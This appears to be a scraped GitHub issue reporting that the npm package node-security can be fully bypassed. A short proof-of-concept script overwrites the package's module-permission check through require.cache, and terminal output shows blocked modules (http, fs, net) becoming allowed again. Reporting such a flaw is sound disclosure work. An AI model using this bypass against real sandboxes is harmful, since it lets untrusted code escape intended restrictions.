question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Security checks can be completely bypassed by a malicious script

See original GitHub issue

First off, I started looking at this repository because it’s gaining traction. I’m also posting this here since there are no listed dependents on npm (yet).

I want to put forward my belief that you cannot secure a javascript context using javascript alone. This is why packages like vm2 exist (which wraps node’s vm module). This is also why node-security is inherently insecure unless you introduce a native component that modifies the behavior of the execution context. This is an extremely hard problem to solve.

Please do not use this package if you need a secure execution context.


The following code can bypass your module’s security checks entirely. Note that this took me roughly 5 minutes to reverse engineer. Any attempts to obscure this will fail.

/* secure.js */

const nodesecurity = require( '@matthaywardwebdesign/node-security' );
const NodeSecurity = new nodesecurity();

// Don't allow anything at all.
NodeSecurity.configure({});
/* index.js */

function try_require(name) {
	try {
		require(name);
		console.log(name, '\x1b[1;32mOK\x1b[m');
	} catch (e) {
		console.error(name, '\x1b[1;31mFAIL\x1b[m -', e.message);
	}
}

try_require('http');
try_require('fs');
try_require('net');
/* bypass.js */

require.cache[Object.keys(require.cache).filter(s => /node-security\/dist\/ModuleLoader\.js$/.test(s))[0]].exports.default.prototype.isModuleAllowed = () => true;
$ node ./index.js
http OK
fs OK
net OK

$ node -r ./secure.js ./index.js
http FAIL - NodeSecurity has blocked an attempt to access module 'http'. Parent modules = ['/private/tmp/test-node-security/index.js']
fs FAIL - NodeSecurity has blocked an attempt to access module 'fs'. Parent modules = ['/private/tmp/test-node-security/index.js']
net FAIL - NodeSecurity has blocked an attempt to access module 'net'. Parent modules = ['/private/tmp/test-node-security/index.js']

$ node -r ./secure.js -r ./bypass.js ./index.js
http OK
fs OK
net OK

Issue Analytics

  • State:open
  • Created 5 years ago
  • Reactions:10
  • Comments:12 (4 by maintainers)

github_iconTop GitHub Comments

3reactions
Qix-commented, Dec 30, 2018

@matthaywardwebdesign I look forward to reviewing the next iteration. 😃

3reactions
NullVoxPopulicommented, Dec 30, 2018

@Qix, the hero we need… 😃

But also, I saw this repo from suggested pages in chrome, and as I was looking through the code, I had the exact same concern. Glad to see my hunch was right. 👍

Read more comments on GitHub >

github_iconTop Results From Across the Web

What is an Authentication Bypass Vulnerability? 7 Things to ...
In a nutshell, an authentication bypass exploits weak authentication mechanisms to allow a hacker to access your systems and data.In a nutshell, ...
Read more >
Exploited Windows zero-day lets JavaScript files bypass ...
A new Windows zero-day allows threat actors to use malicious stand-alone JavaScript files to bypass Mark-of-the-Web security warnings.
Read more >
6 ways malware can bypass endpoint protection - CSO Online
6 ways malware can bypass endpoint protection · 1. Script-based attacks · 2. Hosting malicious sites on popular infrastructure · 3. Poisoning ...
Read more >
How to bypass AMSI and execute ANY malicious Powershell ...
As it's name suggests, it's job is to scan, detect and block anything that does bad stuff. Still doesn't know what this is?...
Read more >
Testing for Bypassing Authentication Schema
Negligence, ignorance, or simple understatement of security threats often result in authentication schemes that can be bypassed by simply skipping the log ......
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found